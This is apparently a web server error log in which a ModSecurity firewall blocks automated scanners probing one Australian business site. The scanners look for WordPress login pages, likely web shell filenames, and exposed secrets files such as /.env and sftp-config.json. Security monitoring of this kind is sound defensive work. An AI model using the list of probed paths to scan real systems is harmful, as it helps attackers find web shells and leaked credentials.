[Wed Mar 25 00:54:17.422404 2026] [:error] [pid 57711:tid 58077] [client 34.145.164.214:65169] [client 34.145.164.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "acLBuaLdPFdeRRktTdNSuQAAAJc"]
[Wed Mar 25 00:54:17.997864 2026] [:error] [pid 57711:tid 58062] [client 34.145.164.214:53169] [client 34.145.164.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "acLBuaLdPFdeRRktTdNSugAAAIk"]
[Wed Mar 25 00:54:18.426442 2026] [:error] [pid 20371:tid 20392] [client 34.145.164.214:61502] [client 34.145.164.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "acLBuub25OL4yTv2fF9tSAAAARM"]
[Wed Mar 25 00:54:19.045049 2026] [:error] [pid 20371:tid 20397] [client 34.145.164.214:62169] [client 34.145.164.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "acLBu-b25OL4yTv2fF9tVAAAARg"]
[Wed Mar 25 00:54:19.662661 2026] [:error] [pid 57702:tid 57917] [client 34.145.164.214:62750] [client 34.145.164.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "acLBu6S8TU_xcQFvlnb7yAAAAA4"]
[Wed Mar 25 00:54:20.253468 2026] [:error] [pid 57702:tid 57920] [client 34.145.164.214:61191] [client 34.145.164.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "acLBvKS8TU_xcQFvlnb7yQAAABE"]
[Wed Mar 25 00:54:20.943601 2026] [:error] [pid 20371:tid 20386] [client 34.145.164.214:51921] [client 34.145.164.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "acLBvOb25OL4yTv2fF9tWwAAAQ0"]
[Wed Mar 25 00:54:21.719489 2026] [:error] [pid 57703:tid 58025] [client 34.145.164.214:50888] [client 34.145.164.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "acLBvfIVQxDtjkklWGZSXAAAAEY"]
[Wed Mar 25 00:54:22.405353 2026] [:error] [pid 58154:tid 58163] [client 34.145.164.214:59584] [client 34.145.164.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "acLBvg0pGUh6bwD3ouKGfQAAAMY"]
[Wed Mar 25 07:24:20.005532 2026] [:error] [pid 47946:tid 47971] [client 185.223.152.35:52041] [client 185.223.152.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.35, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "acMdJDipQTqBMSeKYhcSWAAAARc"]
[Wed Mar 25 07:24:20.009242 2026] [:error] [pid 47946:tid 47971] [client 185.223.152.35:52041] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Mar 25 13:44:25.942329 2026] [:error] [pid 47946:tid 47972] [client 89.251.0.89:31703] [client 89.251.0.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.89, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "acN2OTipQTqBMSeKYhdqXAAAARg"]
[Wed Mar 25 13:44:25.946467 2026] [:error] [pid 47946:tid 47972] [client 89.251.0.89:31703] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Mar 25 18:42:54.326385 2026] [:error] [pid 47989:tid 48015] [client 20.151.18.25:16962] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Wed Mar 25 18:42:54.757527 2026] [:error] [pid 47989:tid 48003] [client 20.151.18.25:16962] [client 20.151.18.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.18.25, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acO8LiWKdJMhIccROjm4PQAAAUw"]
[Wed Mar 25 18:42:54.972068 2026] [:error] [pid 47989:tid 48000] [client 20.151.18.25:16962] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-corn-sample.php
[Wed Mar 25 18:42:55.813564 2026] [:error] [pid 47989:tid 47993] [client 20.151.18.25:16962] File does not exist: /usr/local/apache/htdocs/suspended-page/server.php
[Wed Mar 25 18:42:56.443393 2026] [:error] [pid 47989:tid 47998] [client 20.151.18.25:16962] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Wed Mar 25 18:42:56.649884 2026] [:error] [pid 47989:tid 48012] [client 20.151.18.25:16962] [client 20.151.18.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acO8MCWKdJMhIccROjm4SwAAAVU"]
[Wed Mar 25 18:42:57.493524 2026] [:error] [pid 47989:tid 48007] [client 20.151.18.25:16517] [client 20.151.18.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acO8MSWKdJMhIccROjm4UgAAAVA"]
[Wed Mar 25 18:42:58.333611 2026] [:error] [pid 47989:tid 47993] [client 20.151.18.25:16960] [client 20.151.18.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acO8MiWKdJMhIccROjm4WQAAAUI"]
[Wed Mar 25 18:42:59.157006 2026] [:error] [pid 25967:tid 25986] [client 20.151.18.25:16961] [client 20.151.18.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acO8M_g8Qtq7ZM4mSFlANAAAA04"]
[Wed Mar 25 22:06:12.286979 2026] [:error] [pid 25875:tid 25894] [client 74.248.130.23:65334] File does not exist: /usr/local/apache/htdocs/suspended-page/tx22.php
[Wed Mar 25 22:06:12.545928 2026] [:error] [pid 25875:tid 25885] [client 74.248.130.23:65334] File does not exist: /usr/local/apache/htdocs/suspended-page/blurbs.php
[Wed Mar 25 22:06:13.320464 2026] [:error] [pid 25875:tid 25891] [client 74.248.130.23:65334] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lfm.php"] [unique_id "acPr1RJ38QkS3Nyfshw4LwAAAoo"]
[Wed Mar 25 22:06:13.835985 2026] [:error] [pid 25875:tid 25882] [client 74.248.130.23:29008] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abca.php"] [unique_id "acPr1RJ38QkS3Nyfshw4MgAAAoE"]
[Wed Mar 25 22:06:14.347250 2026] [:error] [pid 25967:tid 25996] [client 74.248.130.23:65350] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abca.php"] [unique_id "acPr1vg8Qtq7ZM4mSFl8IwAAA1g"]
[Wed Mar 25 22:06:14.860806 2026] [:error] [pid 25967:tid 25991] [client 74.248.130.23:36174] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abca.php"] [unique_id "acPr1vg8Qtq7ZM4mSFl8KQAAA1M"]
[Wed Mar 25 22:06:15.391034 2026] [:error] [pid 25967:tid 25993] [client 74.248.130.23:36184] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abca.php"] [unique_id "acPr1_g8Qtq7ZM4mSFl8MAAAA1U"]
[Wed Mar 25 22:06:15.906052 2026] [:error] [pid 892:tid 896] [client 74.248.130.23:64814] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "acPr1yT_G8WMU3T3yxriBwAAAMI"]
[Wed Mar 25 22:06:16.423984 2026] [:error] [pid 25967:tid 25978] [client 74.248.130.23:65324] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/az.php"] [unique_id "acPr2Pg8Qtq7ZM4mSFl8PgAAA0Y"]
[Wed Mar 25 22:06:16.934704 2026] [:error] [pid 47989:tid 47998] [client 74.248.130.23:29007] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/az.php"] [unique_id "acPr2CWKdJMhIccROjkHvAAAAUc"]
[Wed Mar 25 23:31:04.190575 2026] [:error] [pid 25875:tid 25883] [client 161.35.186.169:57078] [client 161.35.186.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.186.169, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "acP_uBJ38QkS3Nyfshxb6gAAAoI"]
[Wed Mar 25 23:31:04.194093 2026] [:error] [pid 25875:tid 25883] [client 161.35.186.169:57078] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Mar 25 23:35:39.251803 2026] [:error] [pid 26449:tid 26461] [client 20.215.253.210:57914] [client 20.215.253.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acQAy9pZ2T15NDqzAjGaTgAAAkg"]
[Wed Mar 25 23:35:40.432615 2026] [:error] [pid 26269:tid 26296] [client 20.215.253.210:44886] [client 20.215.253.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acQAzEn7e-ZQbaIs7qzKbQAAAZQ"]
[Wed Mar 25 23:35:41.368108 2026] [:error] [pid 25967:tid 25989] [client 20.215.253.210:15880] [client 20.215.253.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acQAzfg8Qtq7ZM4mSFmXwgAAA1E"]
[Wed Mar 25 23:35:48.270519 2026] [:error] [pid 47989:tid 47996] [client 20.215.253.210:45222] [client 20.215.253.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acQA1CWKdJMhIccROjkbiwAAAUU"]
[Thu Mar 26 03:24:05.454861 2026] [:error] [pid 55733:tid 55747] [client 144.225.147.7:54316] File does not exist: /usr/local/apache/htdocs/suspended-page/contact.php
[Thu Mar 26 07:12:53.532819 2026] [:error] [pid 19711:tid 19762] [client 192.3.207.218:57507] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/artisan"] [unique_id "acRr9Wj3l1y81GYfluRJewAAAE0"]
[Thu Mar 26 07:12:53.956652 2026] [:error] [pid 19710:tid 19741] [client 192.3.207.218:58115] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/artisan"] [unique_id "acRr9QVEWP8Ar68Njk6o_gAAABM"]
[Thu Mar 26 07:12:55.095718 2026] [:error] [pid 31670:tid 31691] [client 192.3.207.218:58650] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/artisan"] [unique_id "acRr9zXVthXxCnWjOTQxsQAAAVM"]
[Thu Mar 26 07:12:55.519287 2026] [:error] [pid 31670:tid 31685] [client 192.3.207.218:59463] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/artisan"] [unique_id "acRr9zXVthXxCnWjOTQxvAAAAU0"]
[Thu Mar 26 07:12:56.406825 2026] [:error] [pid 31780:tid 31838] [client 192.3.207.218:59981] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "acRr-JJDwZsy5O4ZXEiUeAAAAhE"]
[Thu Mar 26 07:12:56.855083 2026] [:error] [pid 19818:tid 19823] [client 192.3.207.218:60867] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "acRr-MzaSnm3d1BeM5WOFAAAAMM"]
[Thu Mar 26 13:18:39.645446 2026] [:error] [pid 31778:tid 31812] [client 85.137.48.167:38518] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Thu Mar 26 14:21:28.516381 2026] [:error] [pid 31780:tid 31844] [client 195.154.194.132:58086] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Thu Mar 26 18:17:20.511426 2026] [:error] [pid 60829:tid 60842] [client 51.15.15.85:38344] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Thu Mar 26 23:26:43.419873 2026] [:error] [pid 31717:tid 31745] [client 20.63.103.30:43766] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Thu Mar 26 23:26:43.837509 2026] [:error] [pid 31717:tid 31734] [client 20.63.103.30:43766] [client 20.63.103.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.63.103.30, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acVQM7-SCF7YDISDX48C3AAAAYw"]
[Thu Mar 26 23:26:44.053372 2026] [:error] [pid 31717:tid 31724] [client 20.63.103.30:43766] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-corn-sample.php
[Thu Mar 26 23:26:44.901147 2026] [:error] [pid 31717:tid 31730] [client 20.63.103.30:43766] File does not exist: /usr/local/apache/htdocs/suspended-page/server.php
[Thu Mar 26 23:26:45.528249 2026] [:error] [pid 31717:tid 31731] [client 20.63.103.30:43766] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Thu Mar 26 23:26:45.734150 2026] [:error] [pid 31717:tid 31738] [client 20.63.103.30:43766] [client 20.63.103.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acVQNb-SCF7YDISDX48C5QAAAZA"]
[Thu Mar 26 23:26:46.563764 2026] [:error] [pid 19711:tid 19753] [client 20.63.103.30:43147] [client 20.63.103.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acVQNmj3l1y81GYfluTfJQAAAEQ"]
[Thu Mar 26 23:26:47.399303 2026] [:error] [pid 19712:tid 19787] [client 20.63.103.30:43728] [client 20.63.103.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acVQN9WhKhRNqm23vFNengAAAIs"]
[Thu Mar 26 23:26:48.232590 2026] [:error] [pid 19711:tid 19755] [client 20.63.103.30:43723] [client 20.63.103.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acVQOGj3l1y81GYfluTfKQAAAEY"]
[Fri Mar 27 01:40:51.472321 2026] [:error] [pid 62147:tid 62483] [client 185.169.4.152:54681] [client 185.169.4.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sftp-config.json"] [unique_id "acVvoxPjxn06mcLazN6BKwAAABc"]
[Fri Mar 27 04:48:49.798382 2026] [:error] [pid 27749:tid 27812] [client 72.146.33.200:64812] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Fri Mar 27 04:48:50.039443 2026] [:error] [pid 27749:tid 27795] [client 72.146.33.200:64812] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Fri Mar 27 04:48:50.288719 2026] [:error] [pid 27749:tid 27805] [client 72.146.33.200:64812] File does not exist: /usr/local/apache/htdocs/suspended-page/kj.php
[Fri Mar 27 04:48:50.544360 2026] [:error] [pid 27749:tid 27797] [client 72.146.33.200:64812] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Fri Mar 27 04:48:51.117056 2026] [:error] [pid 27749:tid 27798] [client 72.146.33.200:64812] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Fri Mar 27 04:48:51.400362 2026] [:error] [pid 27749:tid 27810] [client 72.146.33.200:64812] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog-header.php
[Fri Mar 27 04:48:51.636103 2026] [:error] [pid 27749:tid 27804] [client 72.146.33.200:64812] File does not exist: /usr/local/apache/htdocs/suspended-page/rithin.php
[Fri Mar 27 04:48:51.892595 2026] [:error] [pid 27749:tid 27799] [client 72.146.33.200:64812] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Fri Mar 27 04:48:52.132759 2026] [:error] [pid 27749:tid 27811] [client 72.146.33.200:64812] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Fri Mar 27 04:48:52.369576 2026] [:error] [pid 27749:tid 27803] [client 72.146.33.200:64812] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Fri Mar 27 04:48:52.620729 2026] [:error] [pid 27749:tid 27791] [client 72.146.33.200:64812] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "acWbtMEqyoMni2Q6_X5RHwAAAEA"]
[Fri Mar 27 04:48:53.339360 2026] [:error] [pid 27750:tid 27841] [client 72.146.33.200:64770] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "acWbtYaSil5rd17ieLwoJgAAAJc"]
[Fri Mar 27 04:48:53.835801 2026] [:error] [pid 27743:tid 27784] [client 72.146.33.200:64780] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "acWbtSA46UYYLqzw99DyVAAAABQ"]
[Fri Mar 27 04:48:54.304836 2026] [:error] [pid 27851:tid 27867] [client 72.146.33.200:64715] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "acWbtnR2ccxe3RMCLbr8WQAAAMk"]
[Fri Mar 27 04:48:54.970513 2026] [:error] [pid 27743:tid 27770] [client 72.146.33.200:65256] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "acWbtiA46UYYLqzw99DyVwAAAAY"]
